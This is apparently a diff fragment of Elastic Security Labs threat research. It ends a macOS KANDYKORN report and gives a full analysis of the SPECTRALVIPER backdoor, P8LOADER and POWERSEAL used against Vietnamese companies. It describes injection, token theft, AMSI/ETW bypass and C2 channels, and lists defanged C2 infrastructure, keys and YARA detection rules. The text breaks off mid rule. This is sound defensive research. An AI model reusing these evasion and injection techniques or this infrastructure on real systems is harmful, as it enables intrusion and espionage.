|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:
|
||||
* [MacOS.Trojan.SUGARLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar)
|
||||
* [MacOS.Trojan.HLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar)
|
||||
* [MacOS.Trojan.KANDYKORN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar)
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref7001) in both ECS and STIX format.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|----------------------------------------------------------------------------------------------------------------------------------|--------------|---------------------|-------------------------|
|
||||
| `3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940` | SHA-256 | .log, .sld | SUGARLOADER |
|
||||
| `2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1` | SHA-256 | Discord (fake) | HLOADER |
|
||||
| `927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6` | SHA-256 | | KANDYKORN |
|
||||
| `http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC` | url | | FinderTools C2 URL |
|
||||
| `tp-globa[.]xyz` | domain-name | | FinderTools C2 domain |
|
||||
| `192.119.64[.]43` | ipv4-addr | tp-globa IP address | FinderTools C2 IP |
|
||||
| `23.254.226[.]90` | ipv4-addr | | SUGARLOADER C2 IP |
|
||||
| `D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B` | 64 byte key | RC4 key | SUGARLOADER, KANDYKORN |
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
* [The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs](https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket)
|
||||
* [https://x.com/tiresearch1/status/1708141542261809360](https://x.com/tiresearch1/status/1708141542261809360)
|
||||
* [https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/](https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/)
|
||||
* [Looks like a try to steel some data : r/Malware](https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/)
|
||||
* [https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/](https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/)
|
||||
* [Lazarus Group Goes 'Fileless'](https://objective-see.org/blog/blog_0x51.html)
|
||||
* [Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui](https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f)
|
||||
* [macOS reflective code loading analysis · hackd](https://hackd.net/posts/macos-reflective-code-loading-analysis/)
|
|
@ -0,0 +1,559 @@
|
|||
---
|
||||
title: "Elastic charms SPECTRALVIPER"
|
||||
slug: "elastic-charms-spectralviper"
|
||||
date: "2023-06-09"
|
||||
subtitle: "Elastic Security Labs has discovered the SPECTRALVIPER malware targeting a national Vietnamese agribusiness."
|
||||
description: "Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: daniel-stepanic
|
||||
- slug: seth-goodwin
|
||||
image: "photo-edited-10@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
- slug: campaigns
|
||||
tags:
|
||||
- ref2754
|
||||
- spectralviper
|
||||
- p8loader
|
||||
- powerseal
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners
|
||||
- SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities
|
||||
- We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.
|
||||
|
||||
This research discusses:
|
||||
|
||||
- The SPECTRALVIPER malware
|
||||
- The P8LOADER malware loader
|
||||
- The POWERSEAL malware
|
||||
- Campaign and intrusion analysis of REF2754
|
||||
|
||||
## Execution flow
|
||||
|
||||
The first event recorded was the creation of a file (**C:\Users\Public\Libraries\dbg.config)** by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( **windbg.exe** ). Using the renamed ProcDump application with the **-md** flag, the adversary loaded **dbg.config** , an unsigned DLL containing malicious code.
|
||||
|
||||
It should be noted, the ProcDump LOLBAS [technique](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/) requires a valid process in the arguments; so while **winlogon.exe** is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.
|
||||
|
||||

|
||||
|
||||
The unsigned DLL (**dbg.config)** contained DONUTLOADER shellcode which it attempted to inject into **sessionmsg.exe** , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.
|
||||
|
||||

|
||||
|
||||
Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( **ExtExport.exe** ) to load a DLL, while another technique involved side-loading a malicious DLL ( **dnsapi.dll** ) using a legitimate application ( **nslookup.exe** ).
|
||||
|
||||
These techniques and malware families make up the REF2754 intrusion set.
|
||||
|
||||
## SPECTRALVIPER code analysis
|
||||
|
||||
### Overview
|
||||
|
||||
During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.
|
||||
|
||||
Through our analysis, we have identified the following capabilities:
|
||||
|
||||
- **PE loading/Injection** : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.
|
||||
- **Token Impersonation** : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.
|
||||
- **File downloading/uploading** : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.
|
||||
- **File/directory manipulation** : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.
|
||||
|
||||

|
||||
|
||||
### Execution flow
|
||||
|
||||
#### Launch
|
||||
|
||||
SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing **.\spectralviper.exe**.
|
||||
|
||||
However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.
|
||||
|
||||

|
||||
|
||||
The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and [rundll-ng](https://github.com/BenjaminSoelberg/RunDLL-NG). The PowerShell command depicted below calls each SPECTRALVIPER export in a **for** loop until we find the one launching the malware capabilities.
|
||||
|
||||
```
|
||||
for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe ".\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll" "#$i"}
|
||||
```
|
||||
|
||||

|
||||
|
||||
Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.
|
||||
|
||||
#### Pipe mode
|
||||
|
||||
In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example **\\.\pipe\raSeCIR4gg**.
|
||||
|
||||

|
||||
|
||||
This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.
|
||||
|
||||

|
||||
|
||||
However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the [Diffie-Helman key exchange protocol](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.
|
||||
|
||||
#### HTTP mode
|
||||
|
||||
In HTTP mode, the malware will beacon to its C2 every _n_ seconds, the interval period is generated randomly in a range between 10 and 99 seconds.
|
||||
|
||||

|
||||
|
||||
Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.
|
||||
|
||||

|
||||
|
||||
Below is an HTTP request example.
|
||||
|
||||

|
||||
|
||||
The request contains a cookie header, “ **euconsent-v2** ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.
|
||||
|
||||

|
||||
|
||||
We believe that the first value, in this example “ **H9mktfe2k0ukk64nZjw1ow==** ”, is the randomly generated AES key that is shared with the server to encrypt communication data.
|
||||
|
||||
### Commands
|
||||
|
||||
While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.
|
||||
|
||||

|
||||
|
||||
Below is a table listing of the commands that were identified.
|
||||
|
||||
| ID | Name |
|
||||
| --- | -------------------------------------------- |
|
||||
| 2 | DownloadFile |
|
||||
| 3 | UploadFile |
|
||||
| 5 | SetBeaconIntervals |
|
||||
| 8 | CreateRundll32ProcessAndHollow |
|
||||
| 11 | InjectShellcodeInProcess |
|
||||
| 12 | CreateProcessAndInjectShellcode |
|
||||
| 13 | InjectPEInProcess |
|
||||
| 14 | CreateProcessAndHollow |
|
||||
| 20 | CreateRundll32ProcessWithArgumentAndInjectPE |
|
||||
| 81 | StealProcessToken |
|
||||
| 82 | ImpersonateUser |
|
||||
| 83 | RevertToSelf |
|
||||
| 84 | AdjustPrivileges |
|
||||
| 85 | GetCurrentUserName |
|
||||
| 103 | ListFiles |
|
||||
| 106 | ListRunningProcesses |
|
||||
| 108 | CopyFile |
|
||||
| 109 | DeleteFile |
|
||||
| 110 | CreateDirectory |
|
||||
| 111 | MoveFile |
|
||||
| 200 | RunDLLInOwnProcess |
|
||||
|
||||
In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.
|
||||
|
||||

|
||||
|
||||
When the **AdjustPrivileges** command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.
|
||||
|
||||

|
||||
|
||||
### Defense evasion
|
||||
|
||||
#### Code obfuscation
|
||||
|
||||
The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. [Control flow flattening](https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/) is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.
|
||||
|
||||
Below is an example of a second-level identity function where the highlighted parameter **p_a1** is just returned despite the complexity of the function.
|
||||
|
||||

|
||||
|
||||
#### String obfuscation
|
||||
|
||||
SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( **"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"** ) and the IV is contained within the encrypted string structure.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Summary
|
||||
|
||||
SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.
|
||||
|
||||
It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.
|
||||
|
||||
All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.
|
||||
|
||||
Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.
|
||||
|
||||
## P8LOADER
|
||||
|
||||
### Overview
|
||||
|
||||
The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, **P8exit**.
|
||||
|
||||

|
||||
|
||||
### Discovery
|
||||
|
||||
P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, **RuntimeBroker.exe**. Unbacked executable sections, or _floating code_, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.
|
||||
|
||||

|
||||
|
||||
> If you want to learn more about unbacked executable events, check out the [Hunting in Memory research](https://www.elastic.co/security-labs/hunting-memory) publication by Joe Desimone.
|
||||
|
||||
### Execution flow
|
||||
|
||||
The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.
|
||||
|
||||

|
||||
|
||||
The PE to be executed is loaded into memory using the **VirtualAlloc** method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).
|
||||
|
||||

|
||||
|
||||
Next, a new thread is allocated with the entry point of the PE as the starting address.
|
||||
|
||||

|
||||
|
||||
Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.
|
||||
|
||||

|
||||
|
||||
On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).
|
||||
|
||||
The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.
|
||||
|
||||
### Defense evasion
|
||||
|
||||
#### String obfuscation
|
||||
|
||||
P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.
|
||||
|
||||
These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Summary
|
||||
|
||||
P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.
|
||||
|
||||
## POWERSEAL code analysis
|
||||
|
||||
### Overview
|
||||
|
||||
During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( **NtWriteVirtualMemory** ) for evading defensive solutions (AMSI/ETW).
|
||||
|
||||

|
||||
|
||||
### Defense evasion
|
||||
|
||||
Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.
|
||||
|
||||
For example, POWERSEAL employs [common approaches to unhooking and bypassing AMSI](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/) in order to bypass Microsoft Defender’s signature
|
||||
|
||||

|
||||
|
||||
### Launch PowerShell
|
||||
|
||||
POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( **command** ). The script and arguments are provided by the threat actor and were not observed in the environment.
|
||||
|
||||

|
||||
|
||||
### Summary
|
||||
|
||||
POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.
|
||||
|
||||
## Campaign and adversary modeling
|
||||
|
||||
### Overview
|
||||
|
||||
REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.
|
||||
|
||||
1. SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control
|
||||
2. P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and
|
||||
3. POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools
|
||||
|
||||
Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.
|
||||
|
||||

|
||||
|
||||
### Victimology
|
||||
|
||||
Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes [REF4322](https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector).
|
||||
|
||||
The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.
|
||||
|
||||
The REF2754 victim has been identified as a large Vietnam-based agribusiness.
|
||||
|
||||
Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:
|
||||
|
||||
- All were manually confirmed to be SPECTRALVIPER
|
||||
- All samples were between 1.59MB and 1.77MB in size
|
||||
- All VirusTotal samples were initially submitted from Vietnam
|
||||
|
||||
Some samples were previously identified in our first party collection, and some were new to us.
|
||||
|
||||
> Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.
|
||||
|
||||
At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.
|
||||
|
||||
### Campaign analysis
|
||||
|
||||
The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.
|
||||
|
||||
These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( **\\.\pipe\ydZb0bIrT** ).
|
||||
|
||||

|
||||
|
||||
This activity appears to be a handoff of access or swapping out of one tool for another.
|
||||
|
||||
> If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our [previous research](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance) and stay tuned, more to come.
|
||||
|
||||
Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.
|
||||
|
||||
Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.
|
||||
|
||||
| Domain: | Created: |
|
||||
| -------------------------------- | ---------- |
|
||||
| stablewindowsapp[.]com | 2022-02-10 |
|
||||
| webmanufacturers[.]com | 2022-06-10 |
|
||||
| toppaperservices[.]com | 2022-12-15 |
|
||||
| hosting-wordpress-services[.]com | 2023-03-15 |
|
||||
| appointmentmedia[.]com | 2023-04-26 |
|
||||
|
||||
GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of **appointmentmedia[.]com**, this campaign could still be ongoing with new domains being registered for future intrusions.
|
||||
|
||||
### Campaign associations
|
||||
|
||||
Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.
|
||||
|
||||
As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.
|
||||
|
||||
The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister [approved](https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf) the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.
|
||||
|
||||
In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.
|
||||
|
||||
A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.
|
||||
|
||||
### Diamond model
|
||||
|
||||
Elastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.
|
||||
|
||||

|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Initial access](https://attack.mitre.org/tactics/TA0001)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Defense evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
- [Discovery](https://attack.mitre.org/tactics/TA0007)
|
||||
- [Lateral movement](https://attack.mitre.org/tactics/TA0008/)
|
||||
- [Collection](https://attack.mitre.org/tactics/TA0009)
|
||||
- [Command and control](https://attack.mitre.org/tactics/TA0011)
|
||||
|
||||
### Techniques / Sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Gather host information](https://attack.mitre.org/techniques/T1592/)
|
||||
- [Gather victim network information](https://attack.mitre.org/techniques/T1590/)
|
||||
- [Network share discovery](https://attack.mitre.org/techniques/T1135/)
|
||||
- [Remote system discovery](https://attack.mitre.org/techniques/T1018/)
|
||||
- [File and directory discovery](https://attack.mitre.org/techniques/T1083/)
|
||||
- [Process discovery](https://attack.mitre.org/techniques/T1057/)
|
||||
- [System service discovery](https://attack.mitre.org/techniques/T1007/)
|
||||
- [System owner/user discovery](https://attack.mitre.org/techniques/T1033/)
|
||||
- [Process injection](https://attack.mitre.org/techniques/T1055/)
|
||||
- [Masquerading](https://attack.mitre.org/techniques/T1036/)
|
||||
- [Application layer protocol: Web protocols](https://attack.mitre.org/techniques/T1071/001/)
|
||||
- [Access Token Manipulation: Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003/)
|
||||
|
||||
## Detection logic
|
||||
|
||||
### Preventions
|
||||
|
||||
All of the malware discussed in this research publication have protections included in Elastic Defend.
|
||||
|
||||
- [Windows.Trojan.SpectralViper](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar)
|
||||
- [Windows.Trojan.PowerSeal](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar)
|
||||
- [Windows.Trojan.P8Loader](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar)
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER
|
||||
|
||||
```
|
||||
rule Windows_Trojan_SpectralViper_1 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-04-13"
|
||||
last_modified = "2023-05-26"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "SpectralViper"
|
||||
threat_name = "Windows.Trojan.SpectralViper"
|
||||
reference_sample = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
|
||||
$a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
|
||||
$a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
|
||||
$a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
|
||||
$a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
|
||||
$a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
|
||||
$a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
|
||||
$a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
|
||||
condition:
|
||||
5 of them
|
||||
}
|
||||
```
|
||||
|
||||
```
|
||||
rule Windows_Trojan_SpectralViper_2 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-10"
|
||||
last_modified = "2023-05-10"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "SpectralViper"
|
||||
threat_name = "Windows.Trojan.SpectralViper"
|
||||
reference_sample = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
|
||||
$a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
|
||||
$a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
|
||||
$s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
|
||||
$s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
|
||||
$s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
|
||||
condition:
|
||||
2 of ($a*) or any of ($s*)
|
||||
}
|
||||
```
|
||||
|
||||
```
|
||||
rule Windows_Trojan_PowerSeal_1 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-03-16"
|
||||
last_modified = "2023-05-26"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "PowerSeal"
|
||||
threat_name = "Windows.Trojan.PowerSeal"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a1 = "PowerSeal.dll" wide fullword
|
||||
$a2 = "InvokePs" ascii fullword
|
||||
$a3 = "amsiInitFailed" wide fullword
|
||||
$a4 = "is64BitOperatingSystem" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
```
|
||||
rule Windows_Trojan_PowerSeal_2 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-10"
|
||||
last_modified = "2023-05-10"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "PowerSeal"
|
||||
threat_name = "Windows.Trojan.PowerSeal"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a1 = "[+] Loading PowerSeal"
|
||||
